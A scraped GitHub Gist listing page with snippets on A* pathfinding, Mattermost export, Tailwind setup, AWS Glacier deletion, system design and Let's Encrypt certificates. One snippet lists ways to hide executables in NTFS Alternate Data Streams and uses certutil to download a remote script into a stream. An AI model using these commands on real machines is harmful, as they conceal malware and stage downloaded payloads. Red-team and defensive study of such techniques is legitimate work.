Skip to content

Instantly share code, notes, and snippets.

@Nicholas-Swift
Nicholas-Swift / astar.py
Last active May 12, 2024 18:34
A* pathfinding algorithm. Please see comments below for a fork of this gist that includes bug fixes!
class Node():
"""A node class for A* Pathfinding"""
def __init__(self, parent=None, position=None):
self.parent = parent
self.position = position
self.g = 0
self.h = 0
@RobertKrajewski
RobertKrajewski / mattermost-dl.py
Last active May 12, 2024 18:33
This script allows to export the content (text+files) of an interactively selected Mattermost channel (public, private, group, direct message) to files. Tested on Mattermost 5.27 using Python 3.7
import os
import sqlite3
from datetime import datetime, date
from typing import Tuple, Dict, List
import getpass
from mattermostdriver import Driver
import pathlib
import json
@mdasifmunshe
mdasifmunshe / Install Tailwind CSS with Vite and Yarn
Created February 25, 2023 15:20
Setting up Tailwind CSS in a Vite project with Yarn.
/* Terminal */
yarn create vite my-project
cd my-project
yarn add -D tailwindcss postcss autoprefixer
yarn tailwindcss init -p
/* tailwind.config.cjs */
/** @type {import('tailwindcss').Config} */
module.exports = {
@veuncent
veuncent / aws_glacier_delete_vault.md
Last active May 12, 2024 18:26
Delete all archives in an AWS Vault

AWS Glacier: Delete vault

Follow these steps to remove all archives from an AWS vault. After this is finished, you will be able to delete the vault itself through the browser console.

Step 1 / Retrieve inventory

This will create a job that collects required information about the vault.

$ aws glacier initiate-job --job-parameters '{"Type": "inventory-retrieval"}' --account-id YOUR_ACCOUNT_ID --region YOUR_REGION --vault-name YOUR_VAULT_NAME 
@Rehan-Baig
Rehan-Baig / README.md
Created May 12, 2024 18:26 — forked from piyushgarg-dev/README.md
Kafka Crash Course
//
// SignatureAnimation.swift
// OpenSwiftUIAnimations
//
// Created by Amos Gyamfi on 11.5.2024.
//
import SwiftUI
struct SignatureAnimation: View {
@api0cradle
api0cradle / Exe_ADS_Methods.md
Last active May 12, 2024 18:23
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

@vasanthk
vasanthk / System Design.md
Last active May 12, 2024 18:13
System Design Cheatsheet

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

  1. Clarify and agree on the scope of the system
  • User cases (description of sequences of events that, taken together, lead to a system doing something useful)
    • Who is going to use it?
    • How are they going to use it?
@beerpiss
beerpiss / 0.readme.md
Last active May 12, 2024 18:10
3simai
@ioqy
ioqy / tutorial.md
Last active May 12, 2024 18:08
Free Let's Encrypt certificate without opening any ports

With this tutorial you will get a valid SSL certificate from Let's Encrypt without having to open any incoming ports. You can use the certificate to enable HTTPS with your reverse proxy (Apache, Nginx, Caddy, ...) or other self hosted service. Since it only uses acme.sh which is a shell script it should work on everything that runs linux.

The tutorial was written for and tested with Duck DNS and deSEC, but you can (in theory, because I did sadly encounter a few bugs/incompatibilities here and there) use every of the 150+ DNS provider supported by acme.sh (there is also a second page at the end!). If you want to use a wildcard certificate I would recommend deSEC because Duck DNS currently has a bug/incompatibility with acme.sh.

If you want to use another DNS provider you can skip right to 2. Install acme.sh, but need to change the parameter --dns YOURDNS in all the commands and set all necessary variables yourself according to t